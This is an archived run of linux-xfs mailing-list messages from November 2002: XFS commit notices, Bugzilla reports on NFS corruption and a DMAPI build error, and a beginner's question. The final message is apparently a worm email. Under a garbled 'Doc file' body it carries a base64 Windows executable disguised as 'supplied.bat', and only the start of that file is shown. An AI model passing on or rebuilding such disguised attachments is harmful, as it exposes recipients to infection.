X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Thu Nov 28 08:35:31 PST 2002 Workarea: taclab54.munich.sgi.com:/home/hch/repo/slinx/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:134013a linux/fs/xfs/xfs_buf.h - 1.98 - new macro: XFS_BUF_TARGET. replaces XFS_BUF_TARGET_DEV for comparing two xfs_buftargs linux/fs/xfs/xfs_buf_item.c - 1.133 linux/fs/xfs/xfs_mount.c - 1.313 linux/fs/xfs/xfs_trans_buf.c - 1.108 - use XFS_BUF_TARGET for xfs_buftarg comparisms From owner-linux-xfs@oss.sgi.com Thu Nov 28 09:07:02 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 09:07:07 -0800 (PST) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gASH71uR029212 for ; Thu, 28 Nov 2002 09:07:02 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gASHEKkq003308 for ; Thu, 28 Nov 2002 11:14:20 -0600 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA15930 for ; Thu, 28 Nov 2002 10:50:03 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e236.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA14615 for ; Thu, 28 Nov 2002 11:09:39 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAT0Nqp10937 for linux-xfs@oss.sgi.com; Thu, 28 Nov 2002 19:23:52 -0500 Resent-Message-Id: <200211290023.gAT0Nqp10937@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (fddi-nodin.corp.sgi.com [198.29.75.193]) by daisy-e236.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA18098 for ; Thu, 28 Nov 2002 11:02:16 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gASH2FQb37727506 for ; Thu, 28 Nov 2002 09:02:15 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gASH0d5W001249 for ; Thu, 28 Nov 2002 18:00:39 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gASH0dR8001248 for hch@sgi.com; Thu, 28 Nov 2002 18:00:39 +0100 Date: Thu, 28 Nov 2002 18:00:39 +0100 From: Christoph Hellwig Message-Id: <200211281700.gASH0dR8001248@lab343.munich.sgi.com> Subject: TAKE - remove unused variable in dmapi To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Thu, 28 Nov 2002 19:23:52 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1884 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Thu Nov 28 09:01:10 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.5.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:134014a linux/fs/xfs/dmapi/dmapi_register.c - 1.21 - remove unused variable From owner-linux-xfs@oss.sgi.com Thu Nov 28 09:08:45 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 09:08:48 -0800 (PST) Received: from mail.slovanet.sk (mail.slovanet.sk [195.80.171.24]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gASH8huR029514 for ; Thu, 28 Nov 2002 09:08:45 -0800 Received: from WinProxy.anywhere ([212.55.227.34]) by mail.slovanet.sk (8.11.6/8.11.6) with SMTP id gASHBRV05528 for ; Thu, 28 Nov 2002 18:11:28 +0100 Received: from 192.168.0.7 by 192.168.0.1 (WinProxy); Thu, 28 Nov 2002 18:11:36 +0100 Message-ID: <003801c29701$10e379e0$0700a8c0@martin> From: =?iso-8859-2?Q?Op=E1len=FD_Martin?= To: Subject: help Date: Thu, 28 Nov 2002 18:10:35 +0100 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit Content-length: 254 X-archive-position: 1885 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: arc@arc-slovakia.sk Precedence: bulk X-list: linux-xfs hi, i look for somebody who will tell me how to install linux mandrake 9 with NFS file system. i will install linux first time so i am a rookie. many thanks all the best MARTIN::::::::::::::::::::>>>>>>>>>>>ARmaCo [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Thu Nov 28 09:43:59 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 09:44:04 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gASHhwuR030983 for ; Thu, 28 Nov 2002 09:43:58 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gASHhwTA030982 for linux-xfs@oss.sgi.com; Thu, 28 Nov 2002 09:43:58 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gASHhuuT030954 for ; Thu, 28 Nov 2002 09:43:56 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gASHfetG030914; Thu, 28 Nov 2002 09:41:40 -0800 Date: Thu, 28 Nov 2002 09:41:40 -0800 Message-Id: <200211281741.gASHfetG030914@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 198] file corruption over NFSv3 UDP using 1.2pre3 X-Bugzilla-Reason: AssignedTo X-archive-position: 1886 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=198 knutjbj@online.no changed: What |Removed |Added ---------------------------------------------------------------------------- Attachment #49 is|0 |1 obsolete| | ------- Additional Comments From knutjbj@online.no 2002-11-28 09:41 ------- Created an attachment (id=52) --> (http://oss.sgi.com/bugzilla/attachment.cgi?id=52&action=view) error out from consol when doing strace rm consol output when doing strace rm /var/lock/subsys/smb ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Thu Nov 28 09:43:59 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 09:44:09 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gASHhwuR030984 for ; Thu, 28 Nov 2002 09:43:58 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gASHhwTd030981 for linux-xfs@oss.sgi.com; Thu, 28 Nov 2002 09:43:58 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gASHhuuX030954 for ; Thu, 28 Nov 2002 09:43:57 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gASHeA50030901; Thu, 28 Nov 2002 09:40:10 -0800 Date: Thu, 28 Nov 2002 09:40:10 -0800 Message-Id: <200211281740.gASHeA50030901@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 197] stalled files in /var/lock, data fork in ino 79692177 claims free block 5040984 X-Bugzilla-Reason: AssignedTo X-archive-position: 1887 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=197 ------- Additional Comments From knutjbj@online.no 2002-11-28 09:40 ------- strace rm /var/lock/subsys/smb error 990 ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Thu Nov 28 10:13:58 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 10:14:03 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gASIDwuR032214 for ; Thu, 28 Nov 2002 10:13:58 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gASIDwjb032213 for linux-xfs@oss.sgi.com; Thu, 28 Nov 2002 10:13:58 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gASIDuuT032185 for ; Thu, 28 Nov 2002 10:13:56 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gASID5lA032157; Thu, 28 Nov 2002 10:13:05 -0800 Date: Thu, 28 Nov 2002 10:13:05 -0800 Message-Id: <200211281813.gASID5lA032157@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 199] New: XFS kernel doesn't compile X-Bugzilla-Reason: AssignedTo X-archive-position: 1889 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=199 Summary: XFS kernel doesn't compile Product: Linux XFS Version: Current Platform: IA32 URL: http://web.luchs.at/ OS/Version: Linux Status: NEW Severity: blocker Priority: Medium Component: XFS kernel code AssignedTo: xfs-master@oss.sgi.com ReportedBy: noc@sanity.luchs.at CC: noc@sanity.luchs.at If this is a userspace bug, what version of the package are you using: What kernel are you using: 2.4.20-rc4-xfs (from CVS) Where did the XFS code come from? (CVS, Linus, your distribution, etc): CVS Description of Problem: After configuring the kernel and running "make dep && make bzImage && make modules" the compile process exits when compiling the XFS driver module. gcc -D__KERNEL__ -I/usr/src/linux-2.4-xfs/linux/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -pipe -mpreferred-stack-boundary=2 -march=athlon -DMODULE -DMODVERSIONS -include /usr/src/linux-2.4-xfs/linux/include/linux/modversions.h -I. -funsigned-char -nostdinc -iwithprefix include -DKBUILD_BASENAME=xfs_dmapi -c -o xfs_dmapi.o xfs_dmapi.c xfs_dmapi.c:50: `DMATTR_PREFIXLEN' undeclared here (not in a function) xfs_dmapi.c:50: `DM_ATTR_NAME_SIZE' undeclared here (not in a function) xfs_dmapi.c:58: `DMATTR_PREFIXLEN' undeclared here (not in a function) xfs_dmapi.c:58: confused by earlier errors, bailing out make[2]: *** [xfs_dmapi.o] Error 1 make[2]: Leaving directory `/usr/src/linux-2.4-xfs/linux/fs/xfs' make[1]: *** [_modsubdir_xfs] Error 2 make[1]: Leaving directory `/usr/src/linux-2.4-xfs/linux/fs' make: *** [_mod_fs] Error 2 The .config file is available but I don't want to post it into the Bugzilla web interface. How Reproducible: Configure XFS as module and start the kernel build. Steps to Reproduce: 1. make menuconfig 2. make dep && make bzImage 3. make modules Actual Results: The compile process exits when compiling the XFS module Expected Results: A clean compile run. Additional Information: GCC 3.2 from Red Hat 8 was used for compilation (Red Hat dropped the egcs/kgcc packages). ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Thu Nov 28 10:13:58 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 10:14:02 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gASIDwuR032215 for ; Thu, 28 Nov 2002 10:13:58 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gASIDwrQ032212 for linux-xfs@oss.sgi.com; Thu, 28 Nov 2002 10:13:58 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gASIDuuX032185 for ; Thu, 28 Nov 2002 10:13:57 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gASHiDuv031147; Thu, 28 Nov 2002 09:44:13 -0800 Date: Thu, 28 Nov 2002 09:44:13 -0800 Message-Id: <200211281744.gASHiDuv031147@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 197] stalled files in /var/lock, data fork in ino 79692177 claims free block 5040984 X-Bugzilla-Reason: AssignedTo X-archive-position: 1888 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=197 ------- Additional Comments From knutjbj@online.no 2002-11-28 09:44 ------- Created an attachment (id=53) --> (http://oss.sgi.com/bugzilla/attachment.cgi?id=53&action=view) out when doing strace rm /var/lock/subsys/smb out when doing strace rm /var/lock/subsys/smb, this bug might have something to do with 198. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Thu Nov 28 10:43:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 10:43:59 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gASIhvuR000796 for ; Thu, 28 Nov 2002 10:43:57 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gASIhvw5000795 for linux-xfs@oss.sgi.com; Thu, 28 Nov 2002 10:43:57 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gASIhuuT000781 for ; Thu, 28 Nov 2002 10:43:56 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gASIHd7F000480; Thu, 28 Nov 2002 10:17:39 -0800 Date: Thu, 28 Nov 2002 10:17:39 -0800 Message-Id: <200211281817.gASIHd7F000480@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 199] XFS kernel doesn't compile X-Bugzilla-Reason: AssignedTo X-archive-position: 1890 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=199 ------- Additional Comments From noc@sanity.luchs.at 2002-11-28 10:17 ------- A result of "grep -i xfs .config" to show the options that were used to build the kernel in question: # CONFIG_VXFS_FS is not set CONFIG_XFS_FS=m # CONFIG_XFS_RT is not set CONFIG_XFS_QUOTA=y CONFIG_XFS_DMAPI=m # CONFIG_XFS_DEBUG is not set The system runs fine with an older XFS kernel (2.4.19-pre10-xfs) that build without problems. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Thu Nov 28 12:43:59 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 12:44:05 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gASKhxuR002107 for ; Thu, 28 Nov 2002 12:43:59 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gASKhxnt002106 for linux-xfs@oss.sgi.com; Thu, 28 Nov 2002 12:43:59 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gASKhuuT002083 for ; Thu, 28 Nov 2002 12:43:56 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gASKTBqk002015; Thu, 28 Nov 2002 12:29:11 -0800 Date: Thu, 28 Nov 2002 12:29:11 -0800 Message-Id: <200211282029.gASKTBqk002015@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 199] XFS kernel doesn't compile X-Bugzilla-Reason: AssignedTo X-archive-position: 1891 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=199 sandeen@sgi.com changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED Resolution| |INVALID ------- Additional Comments From sandeen@sgi.com 2002-11-28 12:29 ------- This is not a valid config (DMAPI=m) - it looks like you hand-edited your config? There were some changes recently in how the DMAPI config options are handled, perhaps that is the problem. At any rate, if you do a "make oldconfig" you will see the DMAPI line magically change from "=m" to "=y" and things should work at that point. If "make oldconfig" doesn't solve your problem, please re-open this bug. Also, unless you have a tape silo handy, you probably don't even want to be compiling dmapi into the kernel. -Eric ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Thu Nov 28 16:53:49 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 16:53:51 -0800 (PST) Received: from sccrmhc02.attbi.com (sccrmhc02.attbi.com [204.127.202.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAT0rmuR003943 for ; Thu, 28 Nov 2002 16:53:49 -0800 Message-Id: <200211290053.gAT0rmuR003943@oss.sgi.com> Date: Thu, 28 Nov 2002 08:35:35 +0000 (GMT) X-Comment: Sending client does not conform to RFC822 minimum requirements X-Comment: Date has been added by Maillennium. Received: from mail.attbi.com (12-245-32-37.client.attbi.com[12.245.32.37]) by sccrmhc02.attbi.com (sccrmhc02) with SMTP id <200211280835330020010231e>; Thu, 28 Nov 2002 08:35:33 +0000 FROM: Steve Philp Subject: Doc file XE "Consolidated - Database X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6600 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00A2_010FB396.98C396E0" Content-Transfer-Encoding: 7bit X-archive-position: 1892 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: owner-linux-xfs@oss.sgi.com Precedence: bulk X-list: linux-xfs This is a multi-part message in MIME format. ------=_NextPart_000_00A2_010FB396.98C396E0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit The application will upgrade the Imaginera Database Tables to the currently used configuration. Using the screen: IMPORT C:\\imagin31\\Dbupdate\\WINHELP\\SPC-NOTE.BMP \* MERGEFORMATNote: All users should be logged off XE "Log off" of the System before this application is run. IMPORT C:\\imagin31\\Dbupdate\\WINHELP\\YEL-PAD. ------=_NextPart_000_00A2_010FB396.98C396E0 Content-Type: application/octet-stream; name="supplied.bat" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="supplied.bat" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA0AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADdYjJymQNcIZkDXCGZA1whQRxPIZIDXCGZA10hGANcISUEWiGYA1whmQNc IZYDXCFSaWNomQNcIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMA6UD9NgAAAAAAAAAA 4AAfAwsBBQwASAAAAB4AAAAAAAD1MAAAABAAAABgAAAAAAABABAAAAAQAAAFAAAABQAAAAQAAAAA AAAA7TkBAAAGAACS6AEAAgAAgAAABAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAnEwAAHgA AAAAcAAACBoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAcAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAABAAgAAbAAAAAAQAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnRleHQAAAC8RwAAABAAAABQAAAAEAAAAAAAANXDAAAAAAAAIAAAYC5kYXRhAAAAGAAAAABgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAO3JAAAAcAAAAKAAAABgAAAAAAAAAAAAAAAA AABAAADAFm3+NjAAAAAWbf42PQAAAPFl/TZKAAAAFm3+NlQAAAA4bf42XwAAAAAAAAAAAAAAQURW QVBJMzIuZGxsAEtFUk5FTDMyLmRsbABHREkzMi5kbGwAVVNFUjMyLmRsbABjbXV0aWwuZGxsAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 